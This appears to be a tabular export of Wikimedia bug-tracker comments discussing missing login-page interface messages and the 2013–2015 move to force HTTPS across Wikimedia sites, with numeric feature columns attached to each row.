215265,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","gerrit 97185 already merged to master, marking bug for backport",,,1395863050,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.909090909090909,1.0,"gerrit 97185 already merged to master, marking bug for backport"
215257,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing",https://gerrit.wikimedia.org/r/#/c/97185/,,,1390427254,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
215249,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","(In reply to comment #9)
> Yeah we did that for 'signupstart' and 'signupend', so if someone wants to
> submit a patch for 'loginstart' and 'loginend', they're welcome to. 
Can you please share the gerrit change id so that it would be easy for us to prepare the patch ?",,,1390390913,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,21,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,3.0,11.0,3.0,3.0,0.0,9.0,17.0,3.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.1142857142857143,0.8571428571428571,"(In reply to comment #9)
QUOTE
QUOTE
Can you please share the gerrit change id so that it would be easy for us to prepare the patch ?"
215243,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","(In reply to comment #9)
> (In reply to comment #8)
> Yeah we did that for 'signupstart' and 'signupend', so if someone wants to
> submit a patch for 'loginstart' and 'loginend', they're welcome to. 

I added this to the backlog, so if no one takes this, we plan to take care of it at some point.  However, this will also require running a script, similarly to before.

> 'login-https' should *not* be added back in, because 'userlogin-signwithsecure'
> was created to replace it.

I think these messages are actually signupend-https and loginend-https.  If I'm reading the code right, signupend-https was actually reinstated when signupend was, though it only takes effect if it's on HTTPS, and both signupend and signupend-https are non-blank.

We could potentially keep it (and loginend-https) for third-party users (as with the others), but I'm not sure if it's still useful.",,,1390373891,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,21,True,0.5,0.0,0.0,0.5,0.5,4.0,0.5,0.0,0.5,2.5,2.0,1.5,0.0,0.5,0.0,3.5,0.0,6.5,9.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.5,0.5,0.0,6.5,0.5,3.0,1.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,2.5,2.5,7.5,3.5,3.5,6.0,0.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,6.5,9.0,1.0,0.0,0.0,0.0,6.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,3.5042105263157897,0.6753508771929824,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE

I added this to the backlog, so if no one takes this, we plan to take care of it at some point.  However, this will also require running a script, similarly to before.

QUOTE
QUOTE

I think these messages are actually signupend-https and loginend-https.  If I'm reading the code right, signupend-https was actually reinstated when signupend was, though it only takes effect if it's on HTTPS, and both signupend and signupend-https are non-blank.

We could potentially keep it (and loginend-https) for third-party users (as with the others), but I'm not sure if it's still useful."
215238,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","**swalling** wrote:

(In reply to comment #8)
> (In reply to comment #7)
> > those messages doesn't look used in new login form.
> 
> Yes, that's what this bug is about: they should be included again (though
> empty
> by default).

Yeah we did that for 'signupstart' and 'signupend', so if someone wants to submit a patch for 'loginstart' and 'loginend', they're welcome to. 

'login-https' should *not* be added back in, because 'userlogin-signwithsecure' was created to replace it.",,,1390372529,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,21,True,0.0,1.0,0.0,2.0,1.0,1.0,0.0,1.0,0.0,1.0,2.0,14.0,0.0,0.0,0.0,1.0,0.0,3.0,11.0,1.0,3.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,9.0,2.0,3.0,2.0,0.0,0.0,0.0,1.0,8.0,1.0,1.0,0.0,3.0,11.0,7.0,0.0,13.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.2555555555555555,0.5888888888888889,"**swalling** wrote:

(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yeah we did that for 'signupstart' and 'signupend', so if someone wants to submit a patch for 'loginstart' and 'loginend', they're welcome to. 

'login-https' should *not* be added back in, because 'userlogin-signwithsecure' was created to replace it."
215235,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","(In reply to comment #7)
> those messages doesn't look used in new login form.

Yes, that's what this bug is about: they should be included again (though empty by default).",,,1390199110,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,True,,,20,True,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,0.9393939393939394,"(In reply to comment #7)
QUOTE

Yes, that's what this bug is about: they should be included again (though empty by default)."
215232,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","Should these messages be still there in core. 
because, as per https://bugzilla.wikimedia.org/show_bug.cgi?id=47883#c0 ,
those messages doesn't look used in new login form.",,,1390138714,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,20,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.8214285714285714,"Should these messages be still there in core. 
because, as per URL ,
those messages doesn't look used in new login form."
215228,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing",It was just specular to bug 56455.,,,1386766742,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,It was just specular to bug 56455.
215225,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","I don't see this as ""high priority"" and major, but patches would certainly speed up fixing this.",,,1386766483,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,True,,,15,True,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6363636363636362,0.9090909090909091,"I don't see this as ""high priority"" and major, but patches would certainly speed up fixing this."
215220,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","**parsonsa** wrote:

I would like to see this feature returned for the following use case.

We disable account creation and use the LdapAuthentication plugin.  Along with this, we use mod_auth_kerb to allow users to login with their Kerberos ticket.  We used to provide a link above the login form to let users login with their ticket.  Now, there is a not a good, clean way to put that link on the login page.",,,1386728104,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,15,True,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,2.0,14.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,8.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,8.0,14.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7362637362637363,0.6153846153846154,"**parsonsa** wrote:

I would like to see this feature returned for the following use case.

We disable account creation and use the LdapAuthentication plugin.  Along with this, we use mod_auth_kerb to allow users to login with their Kerberos ticket.  We used to provide a link above the login form to let users login with their ticket.  Now, there is a not a good, clean way to put that link on the login page."
215215,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","Setting ""low enhancement"" as per comment 1, might be reconsidered depending on future feedback.",,,1367496495,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,1,True,,,-17,True,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.555555555555555,0.9444444444444444,"Setting ""low enhancement"" as per comment 1, might be reconsidered depending on future feedback."
215212,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing",I wish you have right :-),,,1367344608,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,I wish you have right :-)
215205,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","**swalling** wrote:

It's unlikely that we will support the previous messages or new blank equivalents in this release. I'd rather wait and see if Wikipedians really ask or need to additional information, because we have endeavored to cover the three use cases for these custom messages -- user name policy, help documentation links, and security information like an HTTPS connection link -- in the default appearance of both new forms. So far in discussions on wikis which had these, like English Wikipedia and German Wikipedia, users have been understanding about why we removed the previous wordy messages and incorporated new information by default. If the mood changes and there are needs not being met without such messages, we will seriously consider adding new messages for that purpose.",,,1367344251,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.5,0.5,6.5,0.0,0.5,0.0,1.0,2.0,0.5,0.0,0.0,0.5,3.0,0.5,4.5,11.0,0.0,0.5,0.0,0.0,0.0,2.0,1.0,0.0,0.5,0.0,1.5,0.0,4.0,2.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.5,1.5,0.0,0.5,0.0,0.0,0.5,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,6.0,3.0,4.0,7.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,3.5,11.0,5.0,0.0,0.0,0.0,3.5,0.0,1.5,0.5,0.0,1.5,0.0,0.0,0.0,4.621480213089802,0.8066971080669711,"**swalling** wrote:

It's unlikely that we will support the previous messages or new blank equivalents in this release. I'd rather wait and see if Wikipedians really ask or need to additional information, because we have endeavored to cover the three use cases for these custom messages -- user name policy, help documentation links, and security information like an HTTPS connection link -- in the default appearance of both new forms. So far in discussions on wikis which had these, like English Wikipedia and German Wikipedia, users have been understanding about why we removed the previous wordy messages and incorporated new information by default. If the mood changes and there are needs not being met without such messages, we will seriously consider adding new messages for that purpose."
49832,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"It's 2013. Let's just get on with this.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=31323
https://bugzilla.wikimedia.org/show_bug.cgi?id=39380
https://bugzilla.wikimedia.org/show_bug.cgi?id=51002",Medium,50.0,1367252160,1434485487.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-ks5ar2zjmd56p4q44exl,task_description,resolved,True,c2,1,True,False,False,-18,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0454545454545454,0.5,"It's 2013. Let's just get on with this.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL
URL"
475873,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"This is resolved now for all of the primary domains on the primary production clusters (text, mobile, upload).  There are many smaller issues and other sites to address that don't live on the primary clusters, but I think this particularly long-winded task is ready to die now.",,,1434485487,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,93,True,3.0,0.0,0.0,2.0,2.0,12.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,9.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.9827586206896552,0.7931034482758621,"This is resolved now for all of the primary domains on the primary production clusters (text, mobile, upload).  There are many smaller issues and other sites to address that don't live on the primary clusters, but I think this particularly long-winded task is ready to die now."
474008,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"
> 
> The situation is not vague or indefinite internally - the process is simply not taking place in public view at this particular stage, and it's a meta process about the process, etc.  It will return to the world of real actionables in phab eventually.  I would be very surprised if we don't come to a decision (to set a timeline for enabling, or to define a set of clear, rational, solvable tasks that must be completed before enabling) within the next two weeks, but my predictive powers often fall short of infinite.

And why precisely is it not taking place in the public view. Sure there's things that need to be secret, prices of hardware, etc. But deciding when and if to flip the switch hardly seems one of them. What is the threat model you're trying to defend against by being secretive?
",,,1434154953,,PHID-USER-dpu5hmqvprhycqlkdzrk,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,93,True,0.0,0.0,0.0,0.0,2.0,5.0,5.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,8.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,6.0,9.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,5.0,14.0,2.0,2.0,0.0,0.0,5.0,0.0,6.0,0.0,2.0,5.0,0.0,0.0,3.0,3.707692307692308,0.8153846153846154,"
QUOTE
QUOTE

And why precisely is it not taking place in the public view. Sure there's things that need to be secret, prices of hardware, etc. But deciding when and if to flip the switch hardly seems one of them. What is the threat model you're trying to defend against by being secretive?
"
473990,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),See now https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/,,,1434153852,,PHID-USER-wlku5ja6envbi4cz2etp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,93,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,See now URL
457533,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),">>! In T49832#1274748, @Tony_Tan_98 wrote:
> My concern is that vague comments will delay us a lot longer.

The situation is not vague or indefinite internally - the process is simply not taking place in public view at this particular stage, and it's a meta process about the process, etc.  It will return to the world of real actionables in phab eventually.  I would be very surprised if we don't come to a decision (to set a timeline for enabling, or to define a set of clear, rational, solvable tasks that must be completed before enabling) within the next two weeks, but my predictive powers often fall short of infinite.",,,1431437001,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,88,True,0.0,0.0,1.0,1.0,2.0,8.0,1.5,0.0,0.0,1.0,1.5,1.0,0.0,0.0,0.0,2.5,0.0,6.0,11.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,3.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,10.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,6.0,3.0,2.5,1.0,3.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,3.5,11.0,0.5,0.0,0.0,0.0,3.5,0.0,1.0,3.0,0.0,2.5,0.0,0.0,1.0,3.95487012987013,0.8017857142857143,"QUOTE
QUOTE

The situation is not vague or indefinite internally - the process is simply not taking place in public view at this particular stage, and it's a meta process about the process, etc.  It will return to the world of real actionables in phab eventually.  I would be very surprised if we don't come to a decision (to set a timeline for enabling, or to define a set of clear, rational, solvable tasks that must be completed before enabling) within the next two weeks, but my predictive powers often fall short of infinite."
456563,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Information: Mozilla announced plan to deprecate Non-Secure HTTP: https://blog.mozilla.org/security/2015/04/30/deprecating-non-secure-http/

HTTPS is the way to move forward. I agree with MZMcBride: ""Can we please be more specific here? Who is doing research and debating and when are such activities expected to finish? My concern is that vague comments will delay us a lot longer. In my opinion, at this point, given the technical all-clear, we need to figure out what the next specific action items are."" What are the issues that need to be discussed before we flip the switch? If there are potential problems, how should we go about solving them?",,,1431232958,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,88,True,1.0,0.0,0.0,1.0,0.0,7.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,5.5,0.0,5.0,9.0,0.0,3.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,7.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,8.5,0.0,1.5,2.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,4.5,6.0,8.5,2.5,1.0,5.0,0.0,0.0,0.0,0.0,5.0,0.5,0.0,0.0,6.0,9.0,2.0,2.5,1.5,0.0,6.0,0.0,4.5,0.5,1.5,1.5,1.5,0.0,0.0,3.9426229508196724,0.819672131147541,"Information: Mozilla announced plan to deprecate Non-Secure HTTP: URL

HTTPS is the way to move forward. I agree with MZMcBride: ""Can we please be more specific here? Who is doing research and debating and when are such activities expected to finish? My concern is that vague comments will delay us a lot longer. In my opinion, at this point, given the technical all-clear, we need to figure out what the next specific action items are."" What are the issues that need to be discussed before we flip the switch? If there are potential problems, how should we go about solving them?"
450228,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"My point about realtime here is that when we first turn on a 302 for a wiki or group of wikis, we can see the effect within minutes.  Seconds, even.  And we can undo that on similar timescales, none of which are concerned-about-Google-much timescales.",,,1430222870,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,86,True,2.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,7.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,7.0,16.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.586206896551724,0.7241379310344828,"My point about realtime here is that when we first turn on a 302 for a wiki or group of wikis, we can see the effect within minutes.  Seconds, even.  And we can undo that on similar timescales, none of which are concerned-about-Google-much timescales."
450155,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),">>! In T49832#1240813, @BBlack wrote:
> As I've stated before, personally I'd prefer to do the hard redirects before the rel=canonical during the initial rollout process, simply because it's easier to take back in realtime if anything doesn't work out as planned in terms of load and capacity.  We already have a process down for this stuff.  It's not my place to speak to the rest, but I assure you people are aware and working on it.

Actually even if we specify rel=canonical, Google may still index HTTPS once we start to redirect from HTTP to HTTPS. 

From https://support.google.com/webmasters/answer/139066?hl=en&rd=1#https:
>Although our systems prefer HTTPS pages over HTTP pages by default, you can **ensure this behavior **by taking any of the following actions:
>•**Add 301 or 302 redirects from the HTTP page to the HTTPS page**.
>•Add a rel=""canonical"" link from the HTTP page to the HTTPS page.
>•Implement HSTS.
